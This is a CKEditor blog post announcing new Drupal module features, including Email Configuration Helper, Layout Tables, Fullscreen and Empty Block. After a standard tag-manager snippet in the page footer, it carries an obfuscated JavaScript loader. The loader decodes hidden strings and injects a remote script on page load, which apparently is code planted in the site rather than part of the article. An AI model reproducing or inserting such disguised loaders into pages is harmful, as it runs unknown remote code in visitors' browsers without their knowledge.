Image Optimizer powered by Uploadcare

Upload, store, transform, optimize and deliver images at scale - join us 30th of September!

Register now

What’s new in CKEditor Drupal modules: Email Configuration Helper, Layout Tables, and more

Explore new CKEditor 5 features for Drupal, including Email Configuration Helper, Layout Tables, and official Fullscreen plugins from v45.0.0.

We’re adding blog post announcements for CKEditor Drupal modules! 
Moving forward, new features and improvements in both the CKEditor 5 Premium Features and the CKEditor 5 Plugin Pack modules will be announced on the blog regularly.

These releases introduce several plugins based on CKEditor 5 v45.0.0, along with configuration improvements, bringing the latest editing features into Drupal. The Premium Features module introduces the new Email Configuration Helper and support for optional Composer dependencies, while the Plugin Pack comes with new plugins like Layout Tables and the official Fullscreen plugin.

Premium Features Module

NEW Email Configuration Helper

The Email Configuration Helper plugin is now available for Drupal through the Premium Features module. It analyzes your current CKEditor configuration and flags elements and settings that may not render HTML correctly in email clients, surfacing this information in the browser’s developer console.

This is particularly useful for teams building email templates directly in Drupal, where reliable cross-client rendering is essential. The plugin helps catch issues early and tailor text formatting configurations to email-specific constraints.

With a 14-day free trial, Email Configuration Helper is available in the Essential and Professional plans. It’s also a part of some Custom plans. Please contact us to learn more.

You can read all about the Email Configuration Helper in Drupal in the feature guide.

Optional Composer Dependencies

As of version 1.5.0, all external Composer dependencies for the Premium Features module are now marked as optional, in response to developer feedback about unnecessary installations during setup. Previously, these third-party libraries, such as those for OpenAI or AWS SDKs, were required by default, even if the corresponding premium plugins weren’t being used.

Now, only the features you actively enable will require their related libraries, helping reduce bloat, avoiding unneeded dependencies, and speeding up installation. For site builders who don’t use Composer directly, dependencies can also be managed from the module’s admin UI.

You can learn more about the Optional Composer Dependencies in the configuration guide for Drupal.

Full Screen Mode

The Full Screen Mode plugin was originally implemented as a custom plugin, specifically made for the Drupal module. It was released before both the official CKEditor Fullscreen plugin and the CKEditor 5 Plugin Pack module. As the only free plugin included in the Premium Features module, however, it led to some confusion.

The custom Full Screen Mode plugin in the Premium Features module has now been deprecated. Now that the official Fullscreen plugin is available, developers are encouraged to switch to the official implementation. Read below to learn more.

Plugin Pack Module

NEW Fullscreen 

Plugin Pack 1.4.0 introduces the official CKEditor Fullscreen plugin, replacing the previously custom implementation.

It offers a more reliable full-window editing experience and is the recommended approach for teams using features like Document Outline or Comments, where additional UI elements can benefit from expanded editing space.

You can learn more about the new Fullscreen in Drupal plugin in the feature guide.

NEW Layout Tables

The Layout Tables plugin is now available in the Plugin Pack. Unlike regular content tables, layout tables are designed specifically for structuring visual content, not presenting data. This makes them ideal for building email layouts directly within the editor, where fine-tuned control over spacing and alignment is essential for consistent rendering across email clients.

Demonstrating layout editing in CKEditor using the Layout Tables plugin: resizing cells, rearranging content, merging cells, and inserting new ones,now available in Drupal via the CKEditor 5 Plugin Pack.

The plugin is designed to work best when used in conjunction with the Email Configuration Helper, available via the Premium Features module.

You can learn more about the new Layout Tables in Drupal in the feature guide.

NEW Empty Block

The Empty Block plugin preserves empty block elements in editor content when importing or pasting HTML. It is a small but frequently requested feature that helps ensure intentional empty blocks are retained instead of being automatically removed.

It eliminates the need for non-breaking space ( ) fillers in these elements, ensuring they remain intact without introducing visual artifacts, especially when using source mode or templates.

You can learn more about the new Empty Block in Drupal in the feature guide.

This release also includes a fix to the Link Attributes plugin that resolves a validation error triggered when the Link plugin wasn’t present in the active toolbar.

Try CKEditor 5 Premium Features Module

You can test all premium plugins including Collaboration, AI Assistant, Export/Import, and the new Email Configuration Helper with a 14-day free trial.

Start your trial or contact us for licensing options and technical support.

Feedback and Support

If you have specific questions or you would like to report an issue, please contact us.

Learn more about CKEditor in Drupal

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Input email to subscribe to newsletter

Subscription failed

Thanks for subscribing!

HiddenGatedContent.

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });